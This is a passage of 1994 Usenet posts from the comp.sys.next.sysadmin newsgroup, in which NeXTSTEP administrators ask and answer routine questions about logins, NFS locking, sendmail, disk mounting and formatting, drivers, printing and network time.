Thanks,
Rainer
--
Rainer Staringer | rainer@fml.tuwien.ac.at
Financial Markets Lab, TU Vienna | +43 (1) 58801/8138
From: jes@math.msu.edu (Jesse)
Newsgroups: comp.sys.next.sysadmin
Subject: Summary: Can't login as a regular user
Date: 07 Feb 1994 19:13:41 GMT
Organization: MSU
Distribution: world
Message-ID: <JES.94Feb7141341@zhou.mth.msu.edu>
References: <JES.94Feb2225155@zhou.mth.msu.edu>
In-reply-to: jes@math.msu.edu's message of 03 Feb 1994 03:51:55 GMT
I wrote:
Machine: NeXT turbo running NeXTSTEP 3.0
For some reason, I'm not able to login as a regular user while root
can login without a problem. If I telnet to itself and login as 'me',
the error message shows that 'No directory /me!" and close the
connection. If I use 'su' to 'su me', I can become 'me' and access
/me. Any idea what happens? Thanks.
It turns out that '/' doesn't have the right permission.
Thanks to Stephen Fitzpatrick for reminding me to check '/' permission
and many people who give the suggestions.
--Jesse
From: ranilla@polar.etsiig.uniovi.es (Ranilla Pastor)
Newsgroups: comp.sys.next.sysadmin
Subject: problems with HSD SCAN-X Color
Message-ID: <1994Feb7.203819.1396@polar>
Date: 7 Feb 94 20:38:19 +0100
Organization: Universidad de Oviedo
About one and a half year ago I bought a HSD SCAN-X Color for my
68040 NeXT Cube. Currently I am transfering my work to a Intel
486 based running MICROSOFT WINDOWS 3.1 environment, because my
Next Cube lost the login window and now I can't use it. Therefore,
I would like to use the scan on the 486 Pc. Unfortunately I haven't the
drivers software for the 486 Pc and I can't use the scanner.
Does someone know about drivers software for the HSD
SCAN-X Color on the Intel 486?
or
Does soemone know about the technical details of the
scanner (instruction code, class, ADF, etc), or how
to get these informations?
Thanks in advance,
Ranilla
PD: Best way to reply to me is email
PD: Excuse my (non-existent :-) english and my poor dictionary.
--------------------------------------------------------------------------------
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Area de Ciencias de la Computacion e I.A. Fax: +34 9 5338538
E.T.S.I.I de Gijon EMail: ranilla@polar.etsiig.uniovi.es
Campus de Viesques s/n
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From: woo@polaris.scicntr.ortn.edu (J. W. Wooten)
Subject: Power Down?
Message-ID: <1994Feb7.213440.2415@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Mon, 7 Feb 1994 21:34:40 GMT
I have a classroom with 12 NeXTs (lovely black ones!). I've just upgraded to
3.1 on my way to 3.2. I notice that now the students will be given the choice
of Power Down instead of just log off. Since we have many remote users
sometimes logged in (PCs never heard of this of course!), we don't want to be
powering down as if this were some brain damaged PC! We leave these running
for months on end (so far with no problems). Can I recover the old logout
panel and use it instead? I assume the Power button still works under 3.1 and
3.2 if I actually want to power down. I also don't want the power down on the
login window! Who thinks these things up? Haven't people heard of multiuser
machines before? Surely NeXT know about it. Unbelievable step back into the
PC past!
--
John Wooten, woo@ornl.gov
Quid, Me Vexari?
Newsgroups: comp.sys.next.sysadmin
From: benst@olivetti.nl (Ben Stuyts)
Subject: Trouble with locking over nfs
Message-ID: <1994Feb7.215030.27198@olivetti.nl>
Summary: Is lockd supposed to work?
Keywords: lockd nfs next sun locking
Organization: Olivetti Nederland B.V.
Date: Mon, 7 Feb 1994 21:50:30 GMT
Dear net,
I have a NeXT (NS 3.2) which I want to use as nfs server.
To support nfs locking I added
/usr/etc/rpc.statd && (echo -n ' statd') >/dev/console
/usr/etc/rpc.lockd && (echo -n ' lockd') >/dev/console
right after starting rpc.mountd in /etc/rc. I found it rather
curious that there are no man pages of either commands on the NeXT.
Is it a bad idea to run these daemons on the NeXT?
The Sun-3 (SunOS 4.1.1_U1) has its /var/spool/mail mounted as
nexthost:/usr/spool/mail. Very often, while reading a mailbox file
with elm on the Sun-3, the NeXT's console says:
memory allocation error: attempt to free or realloc space not in heap
and rpc.lockd on the NeXT is no more. Elm is hung. When I restart
lockd manually on the NeXT, elm continues after a while.
Also, during normal use, I sometimes get in the NeXT's console:
The network is disabled or your computer isn't connected to it.
NFS server ana not responding still trying
NFS server ana ok
The network is disabled or your computer isn't connected to it.
nfs_server: bad sendreply from 192.0.0.8
nfs_server: bad sendreply from 192.0.0.8
nfs_server: bad sendreply from 192.0.0.8
The Sun (192.0.0.8) is usually hung at such times.
Previously, this NeXT has been running in a network with another
NeXT, and there were no problems at all. It wasn't running lockd
or statd though. Is there some serious
incompatibility with the Sun that I should know of?
Thanks,
Ben Stuyts (benstn@olivetti.nl -- NeXTmail OK)
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From: jimbo@oingo.umn.edu
Subject: Re: WANTED Sendmail guru (Solved!)
Message-ID: <CKvpAH.6sB@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Mon, 7 Feb 1994 23:49:17 GMT
I received a new sendmail file from someone on the net which was written
to work on most any system.
If anyone is interested in getting a copy just email me at the address
below
JIM
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James P. Klett klett@sunrayce.solar.umn.edu
jimbo@oingo.umn.edu (SLIP)
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Slip Slipping' away... NeXT Mail Preferred
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From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: chown fails...
Message-ID: <CKvnCA.nA@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <9402061338.AA03071@petra>
Date: Mon, 7 Feb 1994 23:16:57 GMT
In article <9402061338.AA03071@petra> petra!sas@decster.uta.edu (Shawn
Alva Stone) writes:
[...???...]
If you don't want files on external drives to be owned by the user
currently looged in, you have to mount the drive via /etc/fstab.
Just add a line to /etc/fstab like this:
/dev/sd1a /headroom 4.3 rw,noquota 0 2
where /dev/sd1a means the device, /headroom the name of the
mount point ... and reboot.
For more information consult the man page for fstab (man fstab).
If you don't include your external drive in fstab, the drive
gets mounted by the automouter every time a user logs in an is
completely owned by that user. It is NOT possible to change ownerships
on a drive mounted that way.
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
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From: mark@ve6mgs.ampr.ab.ca (Mark Gregory Salyzyn)
Subject: V1.3 of Mux Serial Driver for Intel posted to comp.sys.next.hardware
Message-ID: <CKvKrM.3yt@ve6mgs.ampr.ab.ca>
Organization: VE6MGS Gateway
Date: Mon, 7 Feb 1994 22:21:21 GMT
For those that have been waiting, I have posted V1.3 of the Mux Serial Driver
to comp.sys.next.hardware.
Ciao -- Mark
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SUMMARY: NewsGrazer missing groups: Possible solution
Date: 7 Feb 1994 23:32:01 GMT
Organization: Rensselaer Polytechnic Institute, Troy NY, USA
Distribution: world
Message-ID: <2j6j1h$e0v@usenet.rpi.edu>
References: <1994Feb7.174020.18443@slate.mines.colorado.edu>
dbeausan@jet.Mines.Colorado.EDU (David G. Beausang) writes:
> 1) The input from the net on this problem with NewsGrazer in browser
> mode confirmed that the problem was well known to a number of people.
the problem being:
> ------------------------original posting---------------------------
> Newsgroups: comp.sys.next.sysadmin
> From: dbeausan@jet.Mines.Colorado.EDU (David G. Beausang)
> Subject: NewsGrazer missing groups
> Date: Wed, 19 Jan 1994 21:44:34 GMT
>
> I am having a problem with NewsGrazer. There are certain news
> groups which NewsGrazer does not display. For example, sci.astro
> is not present, however, sci.astro.fits, sci.astro.hubble, and
> sci.astro.planetarium are present. Using another newsreader,
> for example tin, sci.astro is present. (Another missing group
> is misc.jobs.offered; this group also has subgroups.) It appears
> that the problem is related to a group that also has a subgroup
> sharing a common name segment. The problem does not affect all
> groups that have the stated relationship.
>
> Is this a configuration problem which is my fault and I can correct?
> Is this a known problem with/without a work around?
> Is there a more appropriate person/place to query?
I missed the original article. I don't have this problem, and I spend
plenty of time with newsgrazer and reading lots of newsgroups.
It sounds like you might not be checking for new newsgroups. There
is also a bug of some sorts with how new newsgroups are processed,
but I don't know if that's related to the number of newsgroups you
hub carries, or if everyone would see it. I know I didn't *used*
to see the problem, and then I started seeing it.
Well anyway, to get to the point:
In list mode, select menu item "Group/Show New Groups". NG will
find out about all newgroups that it doesn't already know about.
It will show them to you in list mode, with the names listed in
dark grey type instead of black (so you know that you haven't
subscribed to them yet).
The bug is that it won't *remember* these new groups unless you
select the group. You don't have to subscribe to it, just select
it long enough so NewsGrazer finds out how many articles are in
that newsgroup. If you want to subscribe to it, do a command-s
and the name should turn to black type. Then select the next
newsgroup. Etc.
Once you do that, you should be able to quit & restart NewsGrazer,
and it's browser mode should show you all the newsgroups. It
works for me, at least.
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
From: devans@uoguelph.ca (David F Evans)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Running OS 3.2 on 68030 Cube -- details?
Followup-To: comp.sys.next.misc,comp.sys.next.sysadmin
Date: 8 Feb 1994 02:14:56 GMT
Organization: University of Guelph
Message-ID: <2j6sj0$h1d@nermal.cs.uoguelph.ca>
References: <2isu55$bt2@hub.ucsb.edu>
In article <2isu55$bt2@hub.ucsb.edu> Douglas Scott (doug@foxtrot.ccmrc.ucsb.edu) wrote:
:>Could somebody give me some details on how NeXT OS 3.x runs on the old 68030
:>machines? I know that it is "not optimized" for them, but I want to know just
:>what is affected by this. For example, I do a very large amount of floating
:>point crunching -- would this be likely to run *slower* under 3.x than it does
:>under 2.x?
:>Most importantly I want to know whether 3.x will run at least equally as fast
:>as 2.1 or close to it -- I dont care if it is no faster on the 030.
The only thing I have to note (since I haven't used 2.x on an '030 for a
*long* time) is that the menus and panels of an ancient Communicatae demo (from
monoLib 1) pop up much faster than any of those on the OS or most other
applications.
=============================================================================
David Evans devans@snowhite.cis.uoguelph.ca
Computer/Synth Junkie (NeXTMail OK)
University of Guelph "Default is the value selected by the
Guelph, Ontario, Canada composer overridden by your command."
- Roland TR-707 Manual
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions
Subject: sendmail problems with the -f option (setting From: user)
Date: 8 Feb 1994 02:25:19 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2j6t6f$g2g@agate.berkeley.edu>
I have use a mailing list script which contains a line:
sendmail -odq -fmail-list-agent izumi@mindseye < test_message
in an attempt to set the From: person to an alias in order to
collect all the returned mails.
It doesn't work, and outgoing mails from the script have 'daemon'
as the From: user. I've read the man pages, but can't figure out
what has to be done. Please, enlighten me.
On a related topic, I tried to do something about the above by going to
the source, but the latest sendmail version 8.6.5 from FTP.CS.Berkeley.EDU
gives the following error when "-f" option is given, as if it is
trying to open a file:
# sendmail -odq -fmail-list-agent izumi@mindseye < test_message
mail-list-agent: line 0: cannot open: No such file or directory
In /usr/spool/mqueue/syslog, it gives:
Feb 7 17:53:01 moica sendmail[2395]:
NOQUEUE: SYSERR: mail-list-agent: line 0: cannot open: No such file or directory
Is this a bug with sendmail 8.6.5 or something went wrong with
compile on the NeXT? It does not happen with the NeXT-shipped
version of sendmail NX5.67d or NX5.67e. There were no errors during
compile on NS3.2 (Moto). Apparently the "cannot open" error does
not happen on a non-NeXT platform.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Q: How to turn on rendering?
Message-ID: <CKvxpI.Lr0@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Tue, 8 Feb 1994 03:00:53 GMT
I can't figure out how to enable rendering. I thought you just needed
to putz with something in netinfo, but it seems to be more than that.
It works just fine on my workstation, but I can't get it to work on
another.
My workstation:
francisr@stupid (279): niutil -list . /locations/renderers
163 localhost
151 stupid
francisr@stupid (280): niutil -read . /locations/renderers/stupid
name: stupid
_writers: *
note: Stupid rendering
francisr@stupid (281):
Now the machine I'm trying to make it work on:
francisr@stupid (285): rsh crow niutil -list . /locations/renderers
144 localhost
145 crow
francisr@stupid (286):
francisr@stupid (283): rsh crow niutil -read . /locations/renderers/crow
name: crow
_writers: *
francisr@stupid (284):
When I try to render on crow, I get an error about not being able to
connect to the machine, and a message is written to the console:
clnt_create: RPC: Program not registered
Can anyone clue me in on this?
Also, I a bit suprised there isn't a /locations/renderers/localhost
already. Why do you need to create it?
I can't any docs on how to set this up in the on-lines docs, so any
help would be much appreciated.
-rob
---
Rob Francis Unix Systems Specialist, University Computing Services
Indiana University, francisr@indiana.edu (812)855-0327
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From: westes@netcom.com (Will Estes)
Subject: HELP! Crashed Disk!
Message-ID: <westesCKvy6B.sH@netcom.com>
Organization: Mail Group
Date: Tue, 8 Feb 1994 03:10:58 GMT
I thought last week was bad when someone trashed the video drivers on
the OS/2 machine and it took us nine hours to recover (four hours on
hold to IBM tech support over the course of three calls). Then the
Diamond Stealth 24 VLB in that same machine stopped remembering its
synch settings if you powered off the machine. Two hours on hold to
Diamond.
Well, this week is shaping up much better than last week. :)
Today while re-booting NeXTSTEP I found out some blocks on our disk
were toasted. I have not been able to fully recover, and I need
some pointers from the pros.
The good news is I didn't spend any time on hold to NeXT because
they don't have any free public tech support. :) :)
The bad new is:
On bootup, we got:
target:0 lun:0 op:Read block:848592
/dev/rsd0a: CANNOT READ BLK 424136
I get sent to the prompt as root. I run fsck and it finds bad
sectors from 424136-424143. I answered yes to all questions until
such time as fsck had cleared up all the file and connection
problems, etc.
The problem I have now is that fsck did not mark the bad sectors as
bad. Every time I run fsck it keeps finding the same bad sectors.
Should fsck resolve that for me? If no, then what utility can I use
to mark those sectors as bad? I hate to be literal, but what is
the exact syntax of the command to run?
Finally, assuming the worst case where I cannot correct the problem and
boot the NeXTSTEP shell automatically:
1) Is there any command that I can use to start the shell manually?
2) Assuming I cannot get the shell up, I want to do an emergency
backup to salvage what is left on the disk. Unfortunately, we use
SafetyNet for backups, and it requires the shell to run (I think,
and I'll check on that tomorrow). Can someone give me the exact
syntax on a backup command that comes bundled with NS 3.2? tar is
out since it doesn't back up more than 80-100 characters of combined
path/filename. Assume the device is /dev/rst0 (or whatever the
appropriate device is for an Archive Python DAT drive).
Any and all tips appreciated.
--
Will Estes Internet: westes@netcom.com
From: wolpert@feldberg.ds2i.freiburg.sub.com (Florian Wolpert)
Newsgroups: comp.sys.next.sysadmin
Subject: PCNFSD V2 ?
Date: 7 Feb 1994 14:48:01 GMT
Organization: FreiNet, a VzF* InterNetNews site
Message-ID: <2j5kb1$4ru@bock.freiburg.sub.org>
Hi,
does anyone know wether there is a port of the pcnfsd version 2 for the NeXT ?
This beast uses lpstat which is not available for NeXT :-(
- Flo.
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: SUMMARY: NeXT printer and envelopes.
Message-ID: <HZSLBE7I@gwdu03.gwdg.de>
Followup-To: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <2j1d9i$hcr@alf.uib.no>
Date: Tue, 8 Feb 1994 08:39:53 GMT
Thor Legvold (edmtl@alf.uib.no) wrote:
> Thanks for all the suggestions. The basic consensus is that the
> NeXT printer does not handle envelopes well...
Sorry, that's not true. There are apps, that handle envelopes
well like Poste or InTouch or the like. Just because some people
have found a kludge, and you didn't manage to find a better way,
doesn't say there is no solution.
> By placing a piece of paper under the envelopes loose "top" (which
> is glued in place after you put a letter in, you see?) , and
> pushing the envelope into the printer with the paper (and the
> paper too!) the printer was fooled into thinking it was just a
> thick piece of paper, and it worked. Not elegant (I don't look
> forward to christmas cards now...) but effective.
This *is* a kludge!
Ciao, Stephan
p.s. why didn't you once try one of these ps files from InTouch
or Poste? You could have analyzed them, and perhaps you would
have found a real solution. I don't know exactly what's going on,
but perhaps it's just the boundingbox in the ps file (the paper type
is still a4.), as I didn't find anything else in the file, and I
don't have the time to try all possibilities.
p.p.s. please don't be too upset, but I don't like this kind of
postings. You had other info, but you didn't use it, you rather
posted info, that's wrong :-( Would be terrible if some normal
user of a NL reads your article, and really thinks, that's the only
way to print envelopes. Sometimes NeXT hardware is strange, but their
h/w s/w engineers were not lunatic.
p.p.p.s. No, I did not write Poste, nor do I have any personal
interest in it. I use it three to four times a year, but that's it.
And remember, I did *not* say, you should use/buy/... Poste,
I wanted you to try, what's the contents of a ps file, that prints
correctly on an envelope.
--
trebels@theo-phys.gwdg.de
From: wolfgang@neptun.nt.tuwien.ac.at (Wolfgang Pusch)
Newsgroups: comp.sys.next.sysadmin
Subject: NSIntel: zsh
Date: 8 Feb 1994 12:01:25 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2j7uul$q95@email.tuwien.ac.at>
Keywords: NSIntel, zsh
Has anybody successfully compiled a working version of zsh on a NSIntel
machine? Compiling seems to work fine but the executable does not work.
May be there is a problem with the libraries.
If you have a working version of zsh on a NSIntel machine, please send me
the executable per NeXTmail or an instruction how to build.
Are there precompiled versions (for NSIntel) of zsh available on the
archives?
Thanks, Wolfgang Pusch
--
=====================================================
D.I. Wolfgang PUSCH
Institut f. Nachrichtentechnik u. Hochfrequenztechnik,
Technische Universitaet Wien,
Gusshausstrasse 25/389
A-1040 WIEN
Austria
Tel: (+43 1) 58 801 - 3522
FAX: (+43 1) 587 05 83
EMAIL: pusch@email.tuwien.ac.at
Newsgroups: comp.sys.next.sysadmin
From: rjohnson@mpr.ca (Robbin Johnson)
Subject: Configuring a non-Netinfo ntpd?
Message-ID: <1994Feb8.152432.19568@mprgate.mpr.ca>
Keywords: NeXTSTEP NSFIP ntdp netinfo
Sender: news@mprgate.mpr.ca
Organization: MPR Teltech Ltd., Burnaby, B.C., CANADA
Date: Tue, 8 Feb 1994 15:24:32 GMT
Is there a way to do this? I have a (currently) lone NSFIP box in
an otherwise NIS world. Ntpd as shipped does not use an ntp.conf
file and I do not see an niload'able netinfo database (at least, not
one that "makes sense" to play with).
Do I have to grab the sources from somewhere and replace the ntp
package that comes with NS? Has anyone done so and able to report
success (or failure)?
Thanks to anyone with insight into this matter.
--
Robbin W. Johnson rjohnson@mprgate.mpr.ca (NeXTMAIL welcome)
MPR Teltech Ltd. Advanced Technology/Broadband Communications
From: dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte)
Newsgroups: comp.sys.next.sysadmin
Subject: Remote Window Server Logout?
Date: 8 Feb 1994 17:25:51 GMT
Organization: Supercomputer Computations Research Institute
Message-ID: <2j8huv$lq6@mailer.fsu.edu>
Normally one uses the "Log Out" Menu from the File Viewer App to
exit the windowing system and return to the login screen. Is it
possible to do the same thing with a shell command? Would killing
some process directly "kill -9 ?" do the same thing?
Thanks for any info,
Steve
PS/ Please respond by email.
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From: tmeyer@il.us.swissbank.com (Tom Meyer)
Subject: SerialDriver screw up -- HELP!
Message-ID: <1994Feb8.172745.14622@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
Date: Tue, 8 Feb 1994 17:27:45 GMT
Ok, so call me an idiot...
I was installing the new 'Mux' serial port driver on my white hardware
last night when I did something rather stupid...
- I installed 2 instances of the Mux driver and set them IRQs (3 and 4)
and port addresses to those used by the default serial driver. I then
removed the SerialDriver from the list of used drivers [First Dumb Move]
- When I saved the configuration, it said something like "SerialMouse
Requires SerialPort driver to function". Like a complete moron, I ignored
the message thinking "well, the new serial driver will drive the mouse".
[Second Dumb Move]
- When I rebooted the machine, whaddaya think happens ? No mouse function.
- Tried booting with 'config=Default', but I get these now pretty obvious
messages:
Configuring Device Drivers
PCPointerProbe: mouseInit failure
Using default table for BusMouse
- IoProbeDriver: No Such Device BusMouse unit 0
Using Default table for SerialPorts
(it just hangs here)
Any suggestions ?? If I can log into my machine remotely, is there a way
to reconfigure the machine from the command line? Can I boot off the CD
ROM .If so, what is the command to do so from the 'boot:' prompt?? (yeah,
I know, rtfm)
Any help would be appreciated.
thanks,
tom meyer
tmeyer@il.us.swissbank.com
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From: erwin@dutnak2.tn.tudelft.nl (Erwin Giling)
Subject: 2Gb drive on Intel or Cube: How??
Message-ID: <erwin.760738845@dutnak2>
Sender: news@news.tudelft.nl (UseNet News System)
Organization: Delft University of Technology
Date: Tue, 8 Feb 1994 20:20:45 GMT
A HD blues story...
I'm trying to hook up a 2Gb SCSI drive to a Cube. From our Next support people
it became clear that it is not possible to initialize a drive with this
size on a Cube. It was suggested to initialize the drive on an Intel box,
because 3.2 on Intel supports big drives. After initialization, the drive
can be re-connected to the Cube fileserver. O.k., fine. Chapter 2.
On the Intel box (a genuine Intel L486 professional with on-board SCSI, video
and sound, NeXTStep 3.2 pre-installed) initialization does not work quite
satisfactory (=understatement). Reformatting the drive gets:
# disk -F /dev/rsd0a
Limiting sectors to those bios-accessible, from 4197520 to 41412
disk name: DEC DSP3210S 436A000034
disk type: fixed_rw_scsi
device = /dev/rsd0a block size = 512 capacity = 2049 MBytes
Disk Format in progress...
Using a -u option the 'Limiting ... 4142' message disappears. After half an
our or so the drive can be initalized with disk -i :
# disk -i -l "delphi-d2" /dev/rsd0a
Limiting sectors to those bios-accessible, from 4197520 to 41412
disk name: DEC DSP3210S 436A000034
disk type: fixed_rw_scsi
writing disk label
Writing /usr/standalone/i386/boot
Writing /usr/standalone/i386/boot1
creating new filesystem on /dev/rsd0a
/usr/etc/newfs -n -v /dev/rsd0a
setting optimization for space with minfree less than 10
/etc/mkfs /dev/rsd0a 20546 43 16 8192 1024 16 5 60 4096 s
Warning: 4096 bytes per inode impossible due
to cylinder group size, using 4112 bytes per inode
Reduce cylinder group size to reduce bytes per inode.
Warning: 94 sector(s) in last cylinder unallocated
/dev/rsd0a: 20546 sectors in 30 cylinders of 16 tracks, 43 sectors
21.0Mb in 2 cyl groups (16 c/g, 11.27Mb/g, 2048 i/g)
super-block backups (for fsck -b#) at:
16, 11072,
initialization complete
which gets me a 21.0Mb capacity!!!! Reminds me of my IBM-XT days..
^^^^^^
So the trouble is that the bios can only format and use drives up to
21 Mb. Yes?? Whish I was a unix wizzard..
The hardware documentation does not say anything about the on-board SCSI
bios settings at all, and there's no setup like the one found on the newer
ADAPTEC cards. No mention of NeXTStep anywhere in the docs, only DOS and OS2.
To change the extended system setup, you have to dig up an old DOS boot floppy
to run a setup program under DOS. Geezz..
I did not get a definite answer from our support people yet, and I'm very
short on disk space!!.
Does anyone have a clue on this one? Any hint will be highly appreciated.
BTW: the CD-ROM drive works just fine, so the SCSI bus is o.k.
Erwin
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Erwin J.M. Giling |
Delft University, Applied Physics | E-Mail : erwin@dutnak2.tn.tudelft.nl
Laboratory of Seismics and Acoustics | NeXT-mail : erwin@delphi.tn.tudelft.nl
Delft - The Netherlands |
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Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: NeXT: Please make the .mc files for sendmail available via ftp
Message-ID: <1994Feb8.153908.14844@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
Date: Tue, 8 Feb 1994 15:39:08 GMT
It would be a lot easier to configure sendmail if NeXT would place
the .mc (m4 sendmail configuration compiler) files on the NeXTanswers
ftp site. In addition, they should be included with the user
release. There's nothing special about the files but would make
system administration for mail a lot easier.
Would someone from NeXT please comment?
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
From: jack@umbc.edu (Jack Suess)
Newsgroups: comp.sys.next.sysadmin
Subject: Nextstation printer error after upgrading to 3.2
Date: 8 Feb 1994 16:30:58 -0500
Organization: University of Maryland, Baltimore County
Message-ID: <2j90aiINNn17@umbc7.umbc.edu>
I just upgraded two nextstations to 3.2 from 2.1. Both have the next attached
printer hooked to them. One machine has a 425MB disk the other has
a 105MB disk.
On the machine with the 105MB disk printing will not work to the nextstation
printer. Each time I try to print I get the following message in the console
window.
Feb 8 16:21:16 beagle Server:nextpost[311]: Driver class not set
in printer entry
I can't seem to figure out what I'm missing. I've checked the printcap
entry dumped with nidump and it is the same as the other machine that
works. In addition, all files referenced in the printcap file are there.
Any ideas?
thanks greatly for any assistance.
jack suess
jack@umbc.edu
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From: root@polaris.scicntr.ortn.edu (Operator)
Subject: Time Services?
Message-ID: <1994Feb8.210959.1289@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Tue, 8 Feb 1994 21:09:59 GMT
Just before I upgraded my black hardware to 3.1, I carefully synched the times
on all the networked units. They all get the network time from one of several
masters or clones that were defined.
I update to 3.1 (Server and all other machines). I now find that in the
preferences panel, none of the machines seem to know about using network time.
I check SNS, Hostmanager, etc. and all say that they know. They're getting
host ip addresses, names, etc. from the server. What happened to network time?
John W.
There ought to be a simpler way to update networked NeXTs!
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
From: fineman@cs.washington.edu (Daniel Fineman)
Subject: Can I run X11 (origional) in NS/White?
Message-ID: <1994Feb8.232002.28042@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
Date: Tue, 8 Feb 94 23:20:02 GMT
Hey netters -
I'd like to get X11 running on my machine (intel). UNfortunately, X11R5
for NeXTStep is only compiled for black hardware, and the others
(cube-x, mouse-x and co-xist) cost some major $$s. I honestly don't mind if it
doesn't run as a NeXTStep app, so going through the BSD shell would be
fine (if possible).
could I:
compile all the proper stuff for X11, and get it to take over
(or run as a window in) the workspace? or
simply boot in single user mode, and go from there? Is single
user mode just BSD without the NS frills? And could it run in (*gasp*)
color, if i've only got a cirrus logic video card? I've got a friend
who runs FreeBSD with the same vid card, and gets color X going (on a
386, to add insult to injury).
any hope?
dan fineman
fineman@cs.washington.edu ASCII pleeze
From: mohr-eric@cs.yale.edu (Eric Mohr)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Joint build strategy for NEXTSTEP and MS DOS/Windows
Date: 8 Feb 1994 10:22:25 -0500
Organization: Archetype Inc, Waltham MA, USA
Distribution: world
Message-ID: <2j8anhINN2af@NEBULA.SYSTEMSZ.CS.YALE.EDU>
We have a set of core code that runs on both NEXTSTEP and MS DOS/Windows, and
are working to update our source code control and build strategy to serve both
platforms well.
I would like to correspond with others doing joint development for these
platforms. Our issues include these:
- We have modified a Unix version of RCS to run on DOS with only partially
satisfactory results. Is there a good version of RCS for DOS?
- For a common file server we use a Novell server with an NFS namespace,
again with only partially satisfactory results. I'd like to hear of any
good alternatives.
- We are using "make" utilities specific to each platform. I've heard of
several cross-platform toolsets; is there a good one which runs under
NEXTSTEP?
- For NEXTSTEP we keep a static build on the shared server; a developer's
machine only needs to store files which differ from the static build.
NEXTSTEP make's VPATH feature allows the local build to draw from both
sources. On the DOS side each developer's machine currently keeps an
entire copy of the build. Any alternatives?
Thanks for getting in touch; please reply by e-mail as well as posting.
-Rick
Rick Mohr
Archetype, Inc Internet: rick@archetype.prospect.com
100 Fifth Avenue voice: (617) 890-7544 x234
Waltham, MA 02154 fax: (617) 890-3661
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From: slxn8@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Next as Mac File Server
Message-ID: <1994Feb7.174337.9965@cc.usu.edu>
Date: 7 Feb 94 17:43:37 MDT
References: <1994Feb3.220439.6388@n1.nsf.gov>
Organization: Utah State University
In article <1994Feb3.220439.6388@n1.nsf.gov>, lbrandt@fiddler.cise.nsf.gov (Lawrence E. Brandt) writes:
> I'd like to use my Next running Release 3.1 as a file server for a few
> office Macintoshes - that is, I'd like to have the users of the Macs see
> the Next through the Chooser as an AppleShare device. The Macs and the
> Next are all on the local ethernet. Anyone know of a software package to
> do this?
I am using a product called "ushare" from a company called IPT. I don't have
thier number handy...the software works quite well.
John
Newsgroups: comp.sys.next.sysadmin
From: jburke@bodacious.csc.wsu.edu (John L. Burke)
Subject: Disabling RLOGIN,TELNET,FTP from remote access.
Message-ID: <1994Feb8.233045.18323@serval.net.wsu.edu>
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Distribution: na
Date: Tue, 8 Feb 94 23:30:45 GMT
We have a lab of NeXTs that we want to disable remote access to. ie, we
don't want anyone to be able to rlogin, telnet or ftp to these machines.
Is there an easy way to do this? Can I just disable the daemons that
provide that service and still allow outgoing services?
Thanks
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From: patt@sage.cc.purdue.edu (Sam Li)
Subject: Advice on backup device and 3 1/2" optical-drive
Message-ID: <CKxMD0.2EG@mentor.cc.purdue.edu>
Followup-To: poster
Keywords: backup, optical
Sender: news@mentor.cc.purdue.edu (USENET News)
Organization: Purdue University
Distribution: usa
Date: Wed, 9 Feb 1994 00:50:59 GMT
hi,
I am looking for a back-up device for my black NeXT machine, can anyone give me some advice on this: such as which brand or simply their experience with back-up device with old NeXT machines.
Actually I am looking for a 3 1/2" optical drive as the back-up device, can anyone suggest any brand of 3 1/2" optical drive work well with the Motorola NeXT machines? Can I actually buy any SCSI-2 interfaced 3 1/2" optical drive and work with my Motorola NeXT?
Please e-mail to veloqxli.ce.berkeley.edu .
(NON-NeXTmail ONLY, Please!!!!)
Sam.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc
From: patt@sage.cc.purdue.edu (Sam Li)
Subject: correction: Advice on backup device and 3 1/2" optical-drive
Message-ID: <CKxMn8.39t@mentor.cc.purdue.edu>
Followup-To: poster
Sender: news@mentor.cc.purdue.edu (USENET News)
Organization: Purdue University
Distribution: usa
Date: Wed, 9 Feb 1994 00:57:07 GMT
hi,
I am sorry to give the wrong e-mail address of mine.
